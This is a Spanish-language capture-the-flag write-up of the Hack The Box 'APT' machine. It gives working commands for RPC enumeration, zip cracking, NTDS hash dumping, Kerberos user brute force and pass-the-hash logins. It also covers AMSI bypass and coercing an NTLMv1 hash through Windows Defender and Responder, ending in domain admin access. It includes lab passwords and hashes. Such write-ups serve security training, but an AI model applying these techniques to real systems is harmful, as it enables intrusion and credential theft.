Write-Up APT

Autor: https://github.com/AndrewSthephen23

Write-Up APT

Enumeración

Resultados del escaneo de puertos:

image.png

En el puerto 80 hay un servicio HTTP activo, de hecho, si vas al navegador, aparece la siguiente web:

image.png

Se trata de Gigantic Hosting, un servicio de alojamiento ficticio. Explorando el sitio, no hay nada que pueda ser interesante.

En el puerto 135, sin embargo, RPC está activo. Por lo tanto, es posible intentar una enumeración con el rpcmap de Impacket (https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcmap.py), buscando qué métodos permiten el acceso anónimo:

python3 rpcmap.py 'ncacn_ip_tcp:10.10.10.213' -brute-opnums -auth-level 1 -opnum-max 5

Resulta que es posible iniciar sesión de forma anónima para Opnum 3 y 5:

image.png

Buscando el UUID mostrado arriba en Google, se puede proceder utilizando el siguiente script encontrado en la red: https://github.com/mubix/IOXIDResolver/blob/master/IOXIDResolver.py intentar una enumeración anónima de interfaces de red:

image.png

A continuación se obtuvo la dirección ipv6 de la máquina. Añadiendo la siguiente línea a los hosts (nano /etc/hosts) se puede obtener más información ahora, a través de otro escaneo de puertos (nmap con la opción -6).

dead:beef::b885:d62a:d679:573f apt.htb

image.png

Abre el puerto 445, por lo tanto puede conectarse con smbclient:

image.png

Dentro del share backup, hay un zip (accedemos con la opción -N que por comodidad no pide la contraseña cada vez):

image.png

Con el comando

get backup.zip

descargamos el archivo localmente para analizarlo.

Si probamos el comando unzip, veremos inmediatamente que el archivo está protegido con una contraseña, por lo que podemos intentar crackearla (usando fcrackzip con la famosa lista de palabras “rockyou”):

fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip

image.png

Ahora siempre con unzip, podemos extraer el contenido:

unzip -P iloveyousomuch backup.zip

Hay dos carpetas ActiveDirectory y registry. Esta es la base de datos NTDS, así que podemos extraer los hashes con Impacket secretsdump:

python3 secretsdump.py local -system registry/SYSTEM -security registry/SECURITY -ntds Active\ Directory/ntds.dit -outputfile hashes

Como salida sale una larga lista de usuarios.

Vamos a imprimirlos en una lista para luego poder hacer bruteforce, mediante alguna herramienta. Usamos awk para formatear los 2000 usuarios encontrados y escribirlos en un fichero users.txt:

cat hashes.ntds | awk -F":" '{print $1}' > usuarios.txt

Una vez obtenida la lista, puedes intentar un ataque de fuerza bruta con kerbrute(https://github.com/TarlogicSecurity/kerbrute):

kerbrute -dc-ip apt.htb -dominio htb.local -users users.txt -outputfile validusernames.txt

image.png

Los usuarios válidos dentro del Directorio Activo son, por tanto, Administrador, APT y henry.vinson.

La herramienta utilizada anteriormente no proporciona hashes como entrada, por lo que debemos utilizar pyKerbrute(https://github.com/3gstudent/pyKerbrute).

Modificando el script python para que sea capaz de tomar una lista de hashes como entrada, obtenemos el hash válido, que es:

e53d87d42adaa3ca32bdb34a876cbffb

A pesar de esto, con evil-winrm no es posible obtener una sesión:

evil-winrm -i apt.htb -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb

Sin embargo, teniendo disponible en el zip inicial, también el registro, es posible utilizar reg.py (también por Impacket) hacia el registro remoto:

python3 reg.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt.htb query -keyName HKU\\\Software

image.png

Si utilizamos el mismo comando para entrar en GiganticHost … obtenemos una contraseña asociada al usuario henry.vinson_adm:

image.png

Explotacion

Ahora podemos volver a intentar entrar con evil-winrm y obtenemos la shell del usuario:

evil-winrm -i apt.htb -u henry.vinson_adm -p "G1#Ny5@2dvht"

image.png

Para continuar con la enumeración, descarga Winpeas en la máquina víctima y ejecútalo con:

Invoke-Binary winpeas.exe

Desafortunadamente es detectado como virus por el sistema, así que intentemos parchearlo con:

Bypass-4MSI

image.png

Volvemos a ejecutar el comando y esta vez winpeas se inicia correctamente.

Con winpeas no se encuentra nada relevante, así que intentemos ejecutarlo todo de nuevo, esta vez con Seatbelt. Y con este último, destaca el texto, bajo NTLMSettings:

image.png

En este repositorio:

https://github.com/Gl3bGl4z/All_NTLM_leakse listantodos losservicios que pueden dar lugar a una fuga de respuestas NTLM a la versión 1 (más vulnerable que la 2), incluido Windows Defender.

Empecemos escuchando al respondedor(https://github.com/SpiderLabs/Responder) ya preinstalado en Kali. Antes de ejecutarlo, sin embargo, escribimos la cadena en la configuración del respondedor (/etc/responder/Responder.conf):

Desafío = 1122334455667788

y luego arrancamos:

responder -I tun0 --lm

Mientras tanto en la shell evil-winrm ejecutamos:

& "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2102.4- 0\MpCmdRun.exe" -Scan -ScanType 3 -File \ipaddress\share\file.txt

image.png

Se ha obtenido el hash. Usamos crack.sh para crackearlo (en formato NTASH soportado):NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384

image.png

Tras unos segundos, la respuesta llega inmediatamente:

image.png

Por lo tanto, la clave es:

d167c3238864b12f5f82feae86a7f798

Ahora que tenemos el hash NT del dominio, con el secretsdump de Impacket obtenemos el hash para entrar como Administrador en el sistema:

python3 secretsdump.py ‘htb.local/APT$@apt.htb’ -hashes :d167c3238864b12f5f82feae86a7f798 -just-dc-user administrador

image.png

Con evil-winrm finalmente obtenemos el shell:

evil-winrm -u administrador -i apt.htb -H c370bddf384a691d811ff3495e8a72e2

image.png